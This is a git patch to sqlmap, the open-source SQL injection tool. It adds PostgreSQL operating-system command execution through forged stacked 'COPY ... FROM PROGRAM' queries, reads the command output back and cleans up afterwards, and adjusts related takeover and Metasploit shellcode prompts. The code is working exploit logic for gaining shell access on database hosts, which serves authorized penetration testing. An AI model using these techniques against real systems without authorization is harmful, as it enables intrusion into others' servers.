From 2d129f3e58969cc1ce017023d7e1f530e80ef97c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 22 Mar 2019 13:49:52 +0100 Subject: [PATCH] Finalizing #3545 --- lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/takeover/abstraction.py | 27 ++++++++++++++++++------- plugins/dbms/postgresql/takeover.py | 31 ++++++++++++++++++++++------- plugins/generic/misc.py | 3 +++ plugins/generic/takeover.py | 2 +- 6 files changed, 50 insertions(+), 16 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 4f155e271..4287091db 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1882,6 +1882,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.connErrorChoice = None kb.connErrorCounter = 0 kb.cookieEncodeChoice = None + kb.copyExecTest = None kb.counters = {} kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR kb.data = AttribDict() diff --git a/lib/core/settings.py b/lib/core/settings.py index 9996d9319..fee71dae5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.3.43" +VERSION = "1.3.3.44" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 42ec10704..feef80fba 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -44,7 +44,10 @@ class Abstraction(Web, UDF, XP_cmdshell): XP_cmdshell.__init__(self) def execCmd(self, cmd, silent=False): - if self.webBackdoorUrl and not isStackingAvailable(): + if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + self.copyExecCmd(cmd) + + elif self.webBackdoorUrl and not isStackingAvailable(): self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): @@ -60,7 +63,10 @@ class Abstraction(Web, UDF, XP_cmdshell): def evalCmd(self, cmd, first=None, last=None): retVal = None - if self.webBackdoorUrl and not isStackingAvailable(): + if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + retVal = self.copyExecCmd(cmd) + + elif self.webBackdoorUrl and not isStackingAvailable(): retVal = self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): @@ -103,14 +109,19 @@ class Abstraction(Web, UDF, XP_cmdshell): logger.info(infoMsg) else: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - infoMsg = "going to use injected sys_eval and sys_exec " - infoMsg += "user-defined functions for operating system " + if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + infoMsg = "going to use 'COPY ... FROM PROGRAM ...' " + infoMsg += "command execution" + logger.info(infoMsg) + + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + infoMsg = "going to use injected user-defined functions " + infoMsg += "'sys_eval' and 'sys_exec' for operating system " infoMsg += "command execution" logger.info(infoMsg) elif Backend.isDbms(DBMS.MSSQL): - infoMsg = "going to use xp_cmdshell extended procedure for " + infoMsg = "going to use extended procedure 'xp_cmdshell' for " infoMsg += "operating system command execution" logger.info(infoMsg) @@ -200,7 +211,9 @@ class Abstraction(Web, UDF, XP_cmdshell): logger.warn(warnMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): + success = True + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): success = self.udfInjectSys() if success is not True: diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index e7682419a..8aee6773c 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -10,6 +10,8 @@ import os from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import decloakToTemp +from lib.core.common import isListLike +from lib.core.common import isStackingAvailable from lib.core.common import randomStr from lib.core.data import kb from lib.core.data import logger @@ -104,13 +106,28 @@ class Takeover(GenericTakeover): self.cleanup(onlyFileTbl=True) def copyExecCmd(self, cmd): - # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 - self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName - self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) - self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''")) - inject.goStacked(self._forgedCmd) + output = None - query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName) - output = inject.getValue(query, resumeValue=False) + if isStackingAvailable(): + # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 + self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName + self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) + self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''")) + inject.goStacked(self._forgedCmd) + + query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName) + output = inject.getValue(query, resumeValue=False) + + if isListLike(output): + output = os.linesep.join(output) + + self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName + inject.goStacked(self._cleanupCmd) return output + + def checkCopyExec(self): + if kb.copyExecTest is None: + kb.copyExecTest = self.copyExecCmd("echo 1") == '1' + + return kb.copyExecTest diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 97cf5518d..388149b37 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -140,6 +140,9 @@ class Miscellaneous: if not isStackingAvailable() and not conf.direct: return + if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and kb.copyExecTest: + return + if Backend.isOs(OS.WINDOWS): libtype = "dynamic-link library" diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 05ab11ded..0897bcbdd 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -169,7 +169,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" - msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)" + msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)" while True: choice = readInput(msg, default='1')